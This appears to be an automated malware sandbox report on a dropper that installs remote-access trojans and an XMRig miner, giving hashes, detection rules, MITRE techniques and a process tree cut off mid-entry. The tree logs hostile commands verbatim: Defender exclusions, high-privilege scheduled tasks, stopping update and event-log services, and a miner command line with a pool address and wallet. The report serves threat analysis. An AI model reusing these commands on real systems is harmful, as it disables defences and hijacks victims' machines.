xmrig | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Resubmissions

16/02/2024, 02:54

240216-dd14ysfc7110

16/02/2024, 01:10

09/02/2024, 16:00

09/02/2024, 13:49

06/02/2024, 16:58

06/02/2024, 00:32

Analysis

max time kernel
17s
max time network
1800s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
16/02/2024, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.bin.exe
Size 10KB
Sample240216-dd14ysfc71
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig xworm zgrat evasion miner persistence rat trojan upx

Malware Config

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/files/0x0007000000018bab-2748.dat	family_xworm

Detect ZGRat V1 36 IoCs

resource	yara_rule
behavioral1/memory/2540-74-0x0000000004A80000-0x0000000004C88000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-75-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-76-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-78-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-80-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-82-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-84-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-88-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-86-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-90-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-92-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-94-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-98-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-96-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-100-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-102-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-104-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-106-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-108-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-110-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-112-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-114-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-120-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-122-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-118-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-124-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-126-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-128-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-139-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-143-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-146-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/2540-130-0x0000000004A80000-0x0000000004C83000-memory.dmp	family_zgrat_v1
behavioral1/memory/592-1709-0x0000000004780000-0x00000000047C0000-memory.dmp	family_zgrat_v1
behavioral1/memory/1500-2028-0x0000000004BE0000-0x0000000004D0A000-memory.dmp	family_zgrat_v1
behavioral1/files/0x0007000000019ee2-2181.dat	family_zgrat_v1
behavioral1/files/0x000400000001cc4e-4017.dat	family_zgrat_v1

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3012	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3732	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	988	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2772	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3688	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2576	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4008	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	448	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2840	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3792	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2996	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3508	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3584	1732	schtasks.exe	55
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3016	1732	schtasks.exe	55

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/0x0008000000005696-6416.dat	family_xmrig
behavioral1/files/0x0008000000005696-6416.dat	xmrig

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral1/memory/592-1520-0x00000000045A0000-0x00000000045F4000-memory.dmp	net_reactor
behavioral1/memory/592-1546-0x00000000046F0000-0x0000000004742000-memory.dmp	net_reactor

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x00060000000191e7-1999.dat	acprotect

Executes dropped EXE 3 IoCs

pid	Process
2540	asdfg.exe
1108	ghjk.exe
1644	kb%5Efr_ouverture.exe

Loads dropped DLL 4 IoCs

pid	Process
2216	4363463463464363463463463.bin.exe
2216	4363463463464363463463463.bin.exe
2216	4363463463464363463463463.bin.exe
2216	4363463463464363463463463.bin.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000191e7-1999.dat	upx
behavioral1/memory/1996-2005-0x0000000010000000-0x00000000100BB000-memory.dmp	upx
behavioral1/files/0x000600000001d4e6-4973.dat	upx
behavioral1/files/0x000600000000550e-5962.dat	upx

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	141.98.234.31

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs

Web Service

T1102

flow	ioc
837	raw.githubusercontent.com
40	raw.githubusercontent.com
174	raw.githubusercontent.com
306	raw.githubusercontent.com
390	raw.githubusercontent.com
566	bitbucket.org
39	raw.githubusercontent.com
99	pastebin.com
100	pastebin.com
575	bitbucket.org
839	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
92	ip-api.com

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00060000000173f2-1886.dat	autoit_exe
behavioral1/files/0x00060000000173f2-1891.dat	autoit_exe
behavioral1/files/0x00060000000173f2-1892.dat	autoit_exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2712	sc.exe
2564	sc.exe
1632	sc.exe
2436	sc.exe
1480	sc.exe
2696	sc.exe
1164	sc.exe
2224	sc.exe
2208	sc.exe
860	sc.exe
2064	sc.exe
1164	sc.exe
1720	sc.exe
2996	sc.exe
2480	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 7 IoCs

pid	pid_target	Process	procid_target
1812	1644	WerFault.exe	31
380	1428	WerFault.exe	39
2408	592	WerFault.exe	40
2604	2184	WerFault.exe	37
1484	2688	WerFault.exe	85
3316	3156	WerFault.exe	319
5792	5712	WerFault.exe	424

Creates scheduled task(s) 1 TTPs 24 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2996	schtasks.exe
1884	schtasks.exe
2424	schtasks.exe
3732	schtasks.exe
988	schtasks.exe
2772	schtasks.exe
2576	schtasks.exe
4008	schtasks.exe
3584	schtasks.exe
2388	schtasks.exe
2248	schtasks.exe
3688	schtasks.exe
3792	schtasks.exe
3508	schtasks.exe
4780	schtasks.exe
2880	schtasks.exe
328	schtasks.exe
788	schtasks.exe
448	schtasks.exe
1432	schtasks.exe
3016	schtasks.exe
2424	schtasks.exe
3012	schtasks.exe
2840	schtasks.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1504	timeout.exe
2872	timeout.exe
856	timeout.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
1908	tasklist.exe
2504	tasklist.exe
2696	tasklist.exe
3212	tasklist.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1144	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
2052	PING.EXE
3260	PING.EXE
3480	PING.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2216	4363463463464363463463463.bin.exe
Token: SeDebugPrivilege	2540	asdfg.exe
Token: SeDebugPrivilege	1108	ghjk.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 2540	2216	4363463463464363463463463.bin.exe	29
PID 2216 wrote to memory of 2540	2216	4363463463464363463463463.bin.exe	29
PID 2216 wrote to memory of 2540	2216	4363463463464363463463463.bin.exe	29
PID 2216 wrote to memory of 2540	2216	4363463463464363463463463.bin.exe	29
PID 2216 wrote to memory of 1108	2216	4363463463464363463463463.bin.exe	30
PID 2216 wrote to memory of 1108	2216	4363463463464363463463463.bin.exe	30
PID 2216 wrote to memory of 1108	2216	4363463463464363463463463.bin.exe	30
PID 2216 wrote to memory of 1108	2216	4363463463464363463463463.bin.exe	30
PID 2216 wrote to memory of 1644	2216	4363463463464363463463463.bin.exe	31
PID 2216 wrote to memory of 1644	2216	4363463463464363463463463.bin.exe	31
PID 2216 wrote to memory of 1644	2216	4363463463464363463463463.bin.exe	31
PID 2216 wrote to memory of 1644	2216	4363463463464363463463463.bin.exe	31

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- - C:\Users\Admin\AppData\Local\Temp\BBLb.exe
    "C:\Users\Admin\AppData\Local\Temp\BBLb.exe"
    3⤵
    PID:1500
- - C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
    C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
    3⤵
    PID:2212
- C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1108
- C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\kb%5Efr_ouverture.exe"
  2⤵
  - Executes dropped EXE
  PID:1644
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 460
    3⤵
    - Program crash
    PID:1812
- C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe"
  2⤵
  PID:2904
- C:\Users\Admin\AppData\Local\Temp\Files\update.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\update.exe"
  2⤵
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsSecurity.exe'
    3⤵
    PID:2268
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "WindowsSecurity" /SC ONLOGON /TR "C:\ProgramData\WindowsSecurity.exe" /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2424
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpDAC5.tmp.bat""
    3⤵
    PID:2264
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:1504
- - C:\Users\Public\svchost.exe
    "C:\Users\Public\svchost.exe"
    3⤵
    PID:2356
- - C:\ProgramData\WindowsSecurity.exe
    "C:\ProgramData\WindowsSecurity.exe"
    3⤵
    PID:2316
- C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"
  2⤵
  PID:1904
- - C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"
    3⤵
    PID:1428
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1428 -s 92
      4⤵
      Program crash
      PID:380
- C:\Users\Admin\AppData\Local\Temp\Files\tidex_-_short_stuff.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\tidex_-_short_stuff.exe"
  2⤵
  PID:2184
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 460
    3⤵
    - Program crash
    PID:2604
- C:\Users\Admin\AppData\Local\Temp\Files\daissss.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\daissss.exe"
  2⤵
  PID:592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 592 -s 596
    3⤵
    - Program crash
    PID:2408
- C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\NancyMfg.exe"
  2⤵
  PID:1268
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k move Blowjob Blowjob.bat & Blowjob.bat & exit
    3⤵
    PID:2984
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
      4⤵
      PID:1184
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1908
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "wrsa.exe opssvc.exe"
      4⤵
      PID:1872
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b Businesses + Flux + Protest + Hawaii + Vp + Insights 10568\Www.pif
      4⤵
      PID:2428
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b Congressional + Seems + Racks + Packed + Taiwan + Therefore 10568\W
      4⤵
      PID:1880
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 10568
      4⤵
      PID:2096
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\10568\Www.pif
      10568\Www.pif 10568\W
      4⤵
      PID:268
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks.exe /create /tn "LynxGuard" /tr "wscript 'C:\Users\Admin\AppData\Local\ThreatGuard Innovations\LynxGuard.js'" /sc onlogon /F /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:2880
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\10568\Www.pif
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\10568\Www.pif
        5⤵
        
        PID:2128
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 15 localhost
      4⤵
      Runs ping.exe
      PID:2052
- C:\Users\Admin\AppData\Local\Temp\Files\FirstZ.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\FirstZ.exe"
  2⤵
  PID:968
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2380
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1840
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1164
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2224
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2064
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2996
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:2480
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "WSNKISKT"
    3⤵
    - Launches sc.exe
    PID:2712
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    PID:336
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    PID:1332
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    PID:2728
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    PID:2956
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2564
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "WSNKISKT"
    3⤵
    - Launches sc.exe
    PID:1632
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1164
- C:\Users\Admin\AppData\Local\Temp\Files\rty37.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rty37.exe"
  2⤵
  PID:796
- C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe"
  2⤵
  PID:1996
- C:\Users\Admin\AppData\Local\Temp\Files\june.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\june.exe"
  2⤵
  PID:2320
- - C:\Users\Admin\AppData\Local\Temp\is-J7DV1.tmp\june.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-J7DV1.tmp\june.tmp" /SL5="$1027E,5927631,54272,C:\Users\Admin\AppData\Local\Temp\Files\june.exe"
    3⤵
    PID:2400
- C:\Users\Admin\AppData\Local\Temp\Files\r.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
  2⤵
  PID:780
- C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\WatchDog.exe"
  2⤵
  PID:2688
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2688 -s 820
    3⤵
    - Program crash
    PID:1484
- C:\Users\Admin\AppData\Local\Temp\Files\c42b27e42760a1e1812ef9db5f9abb3424c5f9fb5390b006b0a39f6b28cc259c.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\c42b27e42760a1e1812ef9db5f9abb3424c5f9fb5390b006b0a39f6b28cc259c.exe"
  2⤵
  PID:1084
- - C:\Users\Admin\AppData\Local\Temp\Files\c42b27e42760a1e1812ef9db5f9abb3424c5f9fb5390b006b0a39f6b28cc259c.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\c42b27e42760a1e1812ef9db5f9abb3424c5f9fb5390b006b0a39f6b28cc259c.exe"
    3⤵
    PID:848
- C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"
  2⤵
  PID:1728
- C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
  2⤵
  PID:2624
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp6FC3.tmp.bat""
    3⤵
    PID:2072
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2872
  - - C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
      "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
      4⤵
      PID:1828
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        5⤵
        
        PID:2288
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:328
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
        5⤵
        
        PID:2956
- C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
  2⤵
  PID:2632
- C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe"
  2⤵
  PID:1768
- - C:\Windows\system32\schtasks.exe
    "schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:1884
- - C:\Windows\SysWOW64\SubDir\asg.exe
    "C:\Windows\SysWOW64\SubDir\asg.exe"
    3⤵
    PID:2704
  - - C:\Windows\system32\schtasks.exe
      "schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\asg.exe" /rl HIGHEST /f
      4⤵
      Creates scheduled task(s)
      PID:788
- C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"
  2⤵
  PID:2572
- - C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\f4438ed05971a15d70c9683dc9e1a55c583ea8c61039e9e85eb391ca6e3fa0ae.exe"
    3⤵
    PID:584
- C:\Users\Admin\AppData\Local\Temp\Files\windows.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\windows.exe"
  2⤵
  PID:1136
- C:\Users\Admin\AppData\Local\Temp\Files\goldman1234.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\goldman1234.exe"
  2⤵
  PID:240
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    PID:2528
- C:\Users\Admin\AppData\Local\Temp\Files\rty29.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\rty29.exe"
  2⤵
  PID:2876
- C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe"
  2⤵
  PID:856
- C:\Users\Admin\AppData\Local\Temp\Files\latestroc.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\latestroc.exe"
  2⤵
  PID:2388
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup8.exe"
    3⤵
    PID:2728
  - - C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
      C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
      4⤵
      PID:240
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
        5⤵
        
        PID:1104
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 1251
        6⤵
        
        PID:2820
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
        6⤵
        Creates scheduled task(s)
        
        PID:2248
  - - C:\Users\Admin\AppData\Local\Temp\nsaDD18.tmp
      C:\Users\Admin\AppData\Local\Temp\nsaDD18.tmp
      4⤵
      PID:1496
- - C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
    3⤵
    PID:2564
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:2580
  - - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
      4⤵
      PID:868
- - C:\Users\Admin\AppData\Local\Temp\rty25.exe
    "C:\Users\Admin\AppData\Local\Temp\rty25.exe"
    3⤵
    PID:1164
- C:\Users\Admin\AppData\Local\Temp\Files\b5ed26bd6f40eda4ff90ec9b4a60b295c77a723d38ebebb0c70997caedc6fb8c.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\b5ed26bd6f40eda4ff90ec9b4a60b295c77a723d38ebebb0c70997caedc6fb8c.exe"
  2⤵
  PID:1604
- C:\Users\Admin\AppData\Local\Temp\Files\NSudo.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\NSudo.exe"
  2⤵
  PID:1532
- C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\DCRatBuild.exe"
  2⤵
  PID:1852
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\PortproviderwinMonitorSvc\mfKYow52WThs6WxYPgYy8SvlAX398RVKTuVkRNatbU.vbe"
    3⤵
    PID:2388
  - - C:\Windows\SysWOW64\cmd.exe
